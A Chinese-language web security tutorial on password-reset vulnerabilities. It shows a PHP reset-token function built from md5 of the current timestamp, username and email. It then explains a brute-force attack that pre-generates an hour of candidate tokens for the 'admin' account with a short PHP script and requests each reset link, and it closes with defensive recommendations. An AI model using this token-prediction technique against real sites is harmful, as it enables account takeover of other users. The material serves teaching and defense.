密码找回漏洞
概述
了防止用户遗忘密码,大多数网站都提供了找回密码功能。常见的找回密码方式有:邮箱找回密码、根据密码保护问题找回密码、根据手机号码找回密码等。虽然这些方式都可以找回密码,但实现方式各不相同。无论是哪种密码找回方式,在找回密码时,除了自己的用户密码,如果还能找回其他用户的密码,就存在密码找回漏洞
密码找回漏洞代码分析
从源码中发现
function create_pass($username,$email){
$token=md5(time().$username.$email);
return $token;
}
这个函数是可预测。时间加上账号和密码进行 md5


从代码中也可以看出 修改用户的密码是根据 token 来修改的,所以知道 token 的值就可以修改密码
密码找回攻击
主要看这个函数是否可以预测
function create_pass($username,$email){
$token=md5(time().$username.$email);
return $token;
}
time是每一秒都会改变https://tool.lu/timestamp/
md5(当前时间戳 +用户名) 生成 token 原理
当前面条件 都通过之后就可以 生成token
我们在提交 key 的之前 生成一分钟或者一个小时以内的 token 用脚本去访问每一个链接
http://www.webtester.com/forget.php?c=send&token=5f40ea6af1d051a41bbfd307b75b5c08
假如存在的 token 就可以修改密码。
这个是根据这套程序生成一小时的 token
<?php
function create_pass($username,$email){
$token=md5(time().$username.$email);
return $token;
}
for($i=1;$i<=3600;$i++){
$timex= create_pass('admin','moon@moonsec.com');
write_file($timex."n");
echo $i."rn";
sleep(1);
}
function write_file($c){
fwrite(fopen("time.txt", "a+"),$c);
}
?>
密码找回防御方案
1、验证码爆破的,从验证码有效期和请求次数进行限制;
2、token 验证之类的,不要直接返回给用户;
3、修改加密算法和加密内容,一定要是强加密,也要做到增加猜解难度或密文不可猜解;
4、用户身份验证一定要在后端实现;
5、在最后一步修改密码的动作时,一定要校验帐号是否通过了验证、短信与手机号是否对应、发送短信与已校验帐号不要使用同一个 session 名称;
6、非常重要的一点:上线前一定要经过安全测试
更新: 2025-05-05 15:02:47
原文: https://www.yuque.com/yuhui.net/network/lu85pwfmash0r7v9

评论(0)
暂无评论